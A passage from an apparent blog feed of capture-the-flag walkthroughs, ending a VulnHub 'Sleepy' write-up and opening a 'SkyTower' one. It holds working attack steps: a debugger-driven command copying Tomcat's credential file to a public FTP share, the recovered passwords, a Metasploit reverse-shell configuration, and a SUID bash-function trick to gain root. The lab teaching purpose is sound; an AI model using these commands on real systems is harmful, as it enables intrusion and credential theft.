	at com.sun.tools.example.debug.expr.ExpressionParser.ConditionalOrExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:349&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.ConditionalExpression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:321&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.Expression&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:256&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.expr.ExpressionParser.evaluate&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ExpressionParser.java:81&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.tty.Commands.evaluate&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Commands.java:114&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.tty.Commands.doPrint&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Commands.java:1654&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.tty.Commands&lt;span class=&quot;nv&quot;&gt;$3&lt;/span&gt;.action&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Commands.java:1680&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
	at com.sun.tools.example.debug.tty.Commands&lt;span class=&quot;nv&quot;&gt;$AsyncExecution$1&lt;/span&gt;.run&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Commands.java:66&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
 new java.lang.String&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;new java.io.BufferedReader&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;new java.io.InputStreamReader&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;new java.lang.Runtime&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;.exec&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cp /etc/tomcat/tomcat-users.xml /var/ftp/pub/&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.getInputStream&lt;span class=&quot;o&quot;&gt;()))&lt;/span&gt;.readLine&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; null
main[1] &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The Java code above copied the &lt;code&gt;/etc/tomcat/tomcat-users.xml&lt;/code&gt; file to &lt;code&gt;/var/ftp/pub&lt;/code&gt;. The default location for pub ftp on CentOS.&lt;/p&gt;

&lt;p&gt;tomcat-users.xml was download to the attacking machine and the following credentials were extracted:&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Username&lt;/th&gt;
      &lt;th&gt;Password&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;sl33py&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;Gu3SSmYStR0NgPa$sw0rD!&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;Full tomcat-users.xml file for completeness:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&apos;1.0&apos; encoding=&apos;utf-8&apos;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;&amp;lt;!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the &quot;License&quot;); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
--&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;tomcat-users&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;&amp;lt;!--
  NOTE:  By default, no user is included in the &quot;manager-gui&quot; role required
  to operate the &quot;/manager/html&quot; web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.
--&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;&amp;lt;!--
  NOTE:  The sample user and role entries below are wrapped in a comment
  and thus are ignored when reading this file. Do not forget to remove
  &amp;lt;!.. ..&amp;gt; that surrounds them.
--&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tomcat&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;role1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- &amp;lt;user username=&quot;tomcat&quot; password=&quot;tomcat&quot; roles=&quot;tomcat,manager-gui,admin,manager-jmx,admin-gui,admin-script,manager,manager-script,manager-status&quot;/&amp;gt; --&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;user&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;username=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;both&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;password=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tomcat&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;roles=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tomcat,role1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;user&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;username=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;role1&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;password=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tomcat&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;roles=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;role1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;admin-gui&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;admin-script&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manager&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manager-gui&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manager-script&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manager-jmx&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;role&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rolename=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manager-status&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- &amp;lt;user name=&quot;admin&quot; password=&quot;adminadmin&quot; roles=&quot;admin,manager,admin-gui,admin-script,manager-gui,manager-script,manager-jmx,manager-status&quot; /&amp;gt; --&amp;gt;&lt;/span&gt;


&lt;span class=&quot;nt&quot;&gt;&amp;lt;user&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;username=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;sl33py&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;password=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Gu3SSmYStR0NgPa$sw0rD!&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;roles=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tomcat,manager-gui,admin-gui,admin,manager-jmx,admin-script,manager,manager-script,manager-status&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;/tomcat-users&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;apache-tomcat-jserv-proxy-setup&quot;&gt;Apache Tomcat JServ Proxy setup&lt;/h2&gt;

&lt;p&gt;During enumeration JServ protocol was discovered exposed on the default port &lt;code&gt;TCP: 8009&lt;/code&gt;. A local Apache proxy was setup on the attacking machine proxying requests back to the target JServ application server.&lt;/p&gt;

&lt;h3 id=&quot;apache-tomcat-proxy-setup-script&quot;&gt;Apache Tomcat Proxy Setup Script&lt;/h3&gt;

&lt;p&gt;Script for automation of JServ Proxy on Attacking machine:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
    apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;libapache2-mod-jk &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s#JkWorkersFile /etc/libapache2-mod-jk/workers.properties#JkWorkersFile /etc/apache2/workers.properties#g&apos;&lt;/span&gt; /etc/apache2/mods-enabled/jk.conf
    &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /etc/libapache2-mod-jk/workers.properties /etc/apache2/
    &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s#worker.ajp13_worker.host=localhost#worker.ajp13_worker.host=192.168.30.146#g&apos;&lt;/span&gt; /etc/apache2/workers.properties
    &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt;  &lt;span class=&quot;s1&quot;&gt;&apos;/\Host\&amp;gt;/i JKMount /* ajp13_worker&apos;&lt;/span&gt; /etc/apache2/sites-enabled/000-default.conf
    a2enmod proxy_http proxy_ajp
    service apache2 restart&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Tomcat should be exposed when visiting &lt;code&gt;http://127.0.0.1&lt;/code&gt; in &lt;strong&gt;Firefox&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sleepy/tomcat-jserv-apache-proxy.png&quot; alt=&quot;Tomcat JServ Apache Proxy&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;remote-exploitation&quot;&gt;Remote Exploitation&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Tomcat&lt;/strong&gt; is now exposed and login credentials have been obtained, it’s now possible to login via Tomcat Manager and leverage a shell via Metasploit.&lt;/p&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;FingerprintCheck&lt;/h5&gt;
  &lt;p&gt;The option: &lt;code&gt;set FingerprintCheck false&lt;/code&gt; needs to be configured or meterpreter will throw the following error:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;[-] [2015.11.26-13:17:44] Exploit aborted due to failure: not-found: The target &lt;br /&gt; server fingerprint &quot;Apache/2.4.10 (Debian)&quot; does not match &quot;(?-mix:Apache.*(Coy&lt;br /&gt;ote|Tomcat))&quot;, use &apos;set FingerprintCheck false&apos; to disable this check.&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;msf exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;tomcat_mgr_upload&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; show options

Module options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;exploit/multi/http/tomcat_mgr_upload&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

   Name       Current Setting         Required  Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;       &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;         &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   PASSWORD   Gu3SSmYStR0NgPa&lt;span class=&quot;nv&quot;&gt;$sw0rD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;  no        The password &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;the specified username
   Proxies                            no        A proxy chain of format &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;:host:port[,type:host:port][...]
   RHOST      0.0.0.0                 &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The target address
   RPORT      80                      &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The target port
   TARGETURI  /manager                &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The URI path of the manager app &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;/html/upload and /undeploy will be used&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   USERNAME   sl33py                  no        The username to authenticate as
   VHOST                              no        HTTP server virtual host


Payload options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;java/meterpreter/reverse_tcp&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

   Name   Current Setting  Required  Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;   &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   LHOST  192.168.30.134   &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The listen address
   LPORT  4444             &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The listen port


Exploit target:

   Id  Name
   &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;
   0   Java Universal&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;meterpreter-shell&quot;&gt;Meterpreter Shell&lt;/h3&gt;

&lt;p&gt;An unprivileged meterpreter shell was obtained:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sleepy/meterpreter.png&quot; alt=&quot;meterpreter shell&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/h2&gt;

&lt;h3 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h3&gt;

&lt;p&gt;Searching for SUID files discovered a binary called &lt;code&gt;nightmare&lt;/code&gt;.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;bash-4.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;find / &lt;span class=&quot;nt&quot;&gt;-user&lt;/span&gt; root &lt;span class=&quot;nt&quot;&gt;-perm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-4000&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-print&lt;/span&gt; 2&amp;gt; /dev/null
find / &lt;span class=&quot;nt&quot;&gt;-user&lt;/span&gt; root &lt;span class=&quot;nt&quot;&gt;-perm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-4000&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-print&lt;/span&gt; 2&amp;gt; /dev/null
/usr/bin/mount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/nightmare
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib64/dbus-1/dbus-daemon-launch-helper&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;binary-interrogation&quot;&gt;Binary Interrogation&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;nightmare&lt;/code&gt; binary was copied to the attacking machine and interrogated with strings.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sleepy/strings.png&quot; alt=&quot;nightmare binary strings&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The binary &lt;code&gt;nightmare&lt;/code&gt; appears to execute &lt;code&gt;/user/bin/sl&lt;/code&gt; as the root user (SUID is on the execute bit).&lt;/p&gt;

&lt;h3 id=&quot;bash-function-manipulation&quot;&gt;Bash Function Manipulation&lt;/h3&gt;

&lt;p&gt;Function manipulation was leveraged to execute &lt;code&gt;/bin/sh&lt;/code&gt; by the nightmare binary, providing a root shell thus fully compromising the system.&lt;/p&gt;

&lt;div class=&quot;note warning&quot;&gt;
  &lt;h5&gt;Nightmare Process&lt;/h5&gt;
  &lt;p&gt;After execution of &lt;code&gt;/usr/bin/nightmare&lt;/code&gt; it was necessary to kill the &lt;code&gt;nightmare&lt;/code&gt; process using &lt;code&gt;kill -2&lt;/code&gt; via another shell in order for the root shell to spawn correctly. To search for the process use &lt;code&gt;ps aux | grep nightmare&lt;/code&gt; and use &lt;code&gt;kill -2&lt;/code&gt; command to kill the pid.&lt;/p&gt;
&lt;/div&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;meterpreter &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; shell
Process 11 created.
Channel 14 created.


python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;&lt;/span&gt;
bash-4.2&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;

bash-4.2&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;

bash-4.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; /usr/bin/sl&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; /bin/sh&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; /usr/bin/sl&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; /bin/sh&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
bash-4.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /usr/bin/sl
&lt;span class=&quot;nb&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /usr/bin/sl
bash-4.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;/usr/bin/nightmare
/usr/bin/nightmare
Error opening terminal: unknown.
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Again &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/n]? sh-4.2# &lt;span class=&quot;nb&quot;&gt;id
id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,91&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;tomcat&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;system_u:system_r:tomcat_t:s0
sh-4.2# &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/flag.txt
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/flag.txt
Well &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;

Here&lt;span class=&quot;s1&quot;&gt;&apos;s your flag: 3eb030c6ab099b0a355712fe38d59ffb&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;root-flag&quot;&gt;Root Flag&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sleepy/root-flag.png&quot; alt=&quot;nightmare binary strings&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>SkyTower - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/skytower-walkthrough/</link>
          <pubDate>Wed, 20 Mar 2024 15:00:59 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/skytower-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Intermediate&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#host-service-enumeration&quot; id=&quot;markdown-toc-host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-analysis&quot; id=&quot;markdown-toc-web-application-analysis&quot;&gt;Web Application Analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#http-proxy-ssh-connection&quot; id=&quot;markdown-toc-http-proxy-ssh-connection&quot;&gt;HTTP Proxy SSH Connection&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-enumeration&quot; id=&quot;markdown-toc-local-enumeration&quot;&gt;Local Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#mysql-credentials&quot; id=&quot;markdown-toc-mysql-credentials&quot;&gt;MySQL Credentials&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#privilege-escalation---password-reuse&quot; id=&quot;markdown-toc-privilege-escalation---password-reuse&quot;&gt;Privilege Escalation - Password Reuse&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#getting-root&quot; id=&quot;markdown-toc-getting-root&quot;&gt;Getting root:&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot; id=&quot;markdown-toc-conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;This CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim is to test intermediate to advanced security enthusiasts in their ability to attack a system using a multi-faceted approach and obtain the “flag”.&lt;/p&gt;

&lt;p&gt;You will require skills across different facets of system and application vulnerabilities, as well as an understanding of various services and how to attack them. Most of all, your logical thinking and methodical approach to penetration testing will come into play to allow you to successfully attack this system. Try different variations and approaches. You will most likely find that automated tools will not assist you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; Telspace Systems&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com&quot;&gt;VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 10.0.1.114&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
